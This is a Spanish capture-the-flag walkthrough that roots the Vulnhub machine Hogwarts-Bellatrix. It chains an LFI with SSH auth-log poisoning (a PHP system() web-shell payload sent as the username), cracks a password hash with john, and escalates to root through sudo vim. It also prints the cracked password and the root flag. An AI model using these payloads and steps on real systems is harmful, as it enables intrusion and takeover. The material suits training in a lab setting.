[VULNHUB] Hogwarts-Bellatrix

Hoy vamos a hackear la maquina de Vulnhub llamada Hogwarts-Bellatrix. Podeis descargarla desde el siguiente enlace: Bellatrix

Video


Enumeration


Empezamos con un nmap para ver que puertos tiene abiertos.

> nmap -A -p- 192.168.1.92                                                  
                                                                              
Starting Nmap 7.70 ( https://nmap.org ) at 2020-12-10 11:15 CET
Nmap scan report for bellatrix.home (192.168.1.92)
Host is up (0.00085s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.3p1 Ubuntu 1 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.46 ((Ubuntu))
|_http-server-header: Apache/2.4.46 (Ubuntu)
|_http-title: AvadaKedavra
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at 
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.78 seconds
Si miramos el codigo fuente de la web podemos ver:
  
ikilledsiriusblackikilledsiriusblackikilledsiriusblackikilledsiriusblack.php
    
Asi que visitamos http://192.168.1.92/ikilledsiriusblack.php y en el codigo fuente vemos:

/*

   $file = $_GET['file'];
   if(isset($file))
   {
       include("$file");
   }

*/
Viendo este codigo vemos que se trata de un LFI. Tras ver si hay algun archivo interesante que podamos ver, vemos que podemos leer: http://192.168.1.92/ikilledsiriusblack.php?file=/var/log/auth.log el cual nos puede service para hacer "ssh log poisoning". Nos logueamos por ssh usando como login el codigo a inyectar.

> ssh '<?php system($_GET['cmd']); ?>'@192.168.1.92
Usamos el parametro "cmd" para hacer un ls -a y ver que encontramos en el directorio.

http://192.168.1.92/ikilledsiriusblack.php?file=/var/log/auth.log&cmd=ls%20-a
Dec 10 11:22:47 bellatrix sshd[1525]: Failed password for invalid user .
..
1c19c879fe8ef134c3e051c2d69c0c66.gif
c2VjcmV0cw==
ikilledsiriusblack.php
index.php
Podemos ver que hay una carpeta llamada c2VjcmV0cw==. Usamos de nuevo el parametro cmd para hacer un ls -a.

http://192.168.1.92/ikilledsiriusblack.php?file=/var/log/auth.log&cmd=ls -a c2VjcmV0cw==
Dec 10 11:22:47 bellatrix sshd[1525]: Failed password for invalid user .
..
.secret.dic
Swordofgryffindor
Vemos que hay 2 ficheros, nos los descargamos.

> wget http://192.168.1.92/c2VjcmV0cw==/Swordofgryffindor
> wget http://192.168.1.92/c2VjcmV0cw==/.secret.dic
Vemos el contenido, y aparenta ser un diccionario y el hash de una password.

> cat Swordofgryffindor 
lestrange:$6$1eIjsdebFF9/rsXH$NajEfDYUP7p/sqHdyOIFwNnltiRPwIU0L14a8zyQIdRUlAomDN
rnRjTPN5Y/WirDnwMn698kIA5CV8NLdyGiY0
Usamos john para crackear la password.

> john --wordlist=/home/sml/.secret.dic /home/sml/Swordofgryffindor 
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
ihateharrypotter (lestrange)
1g 0:00:00:00 DONE (2020-12-10 11:44) 12.50g/s 1425p/s 1425c/s 1425C/s 
gryffondor..wingardiumleviosa
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Una vez obtenida la password, nos logueamos.

Low Shell



> ssh lestrange@192.168.1.92 bash -i                                                                                                                       
lestrange@192.168.1.92's password: 
bash: no se puede establecer el grupo de proceso de terminal (-1): Función 
ioctl no apropiada para el dispositivo
bash: no hay control de trabajos en este intérprete de ordenes
lestrange@bellatrix:~$
Ya dentro del sistema, vemos si podemos usar sudo.

lestrange@bellatrix:~$ sudo -l
Coincidiendo entradas por defecto para lestrange en bellatrix:
    env_reset, mail_badpass, 
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

El usuario lestrange puede ejecutar los siguientes comandos en bellatrix:
    (ALL : ALL) NOPASSWD: /usr/bin/vim
Podemos usar vim, asi que lo usaremos para escalar privilegios.

Privilege Escalation



vim -c ':!/bin/sh'
id
uid=0(root) gid=0(root) grupos=0(root)

root.txt



cd /root
ls
root.txt
script.sh
snap
cat root.txt
 ____       _ _       _        _      
 |  _ \     | | |     | |      (_)     
 | |_) | ___| | | __ _| |_ _ __ ___  __
 |  _ < / _ \ | |/ _` | __| '__| \ \/ /
 | |_) |  __/ | | (_| | |_| |  | |>  < 
 |____/ \___|_|_|\__,_|\__|_|  |_/_/\_\

  _               _                              
 | |             | |                             
 | |     ___  ___| |_ _ __ __ _ _ __   __ _  ___ 
 | |    / _ \/ __| __| '__/ _` | '_ \ / _` |/ _ \
 | |___|  __/\__ \ |_| | | (_| | | | | (_| |  __/
 |______\___||___/\__|_|  \__,_|_| |_|\__, |\___|
                                       __/ |     
                                      |___/ 
root{ead5a85a11ba466011fced308d460a76}

End


Y con esto ya seriamos root de la maquina.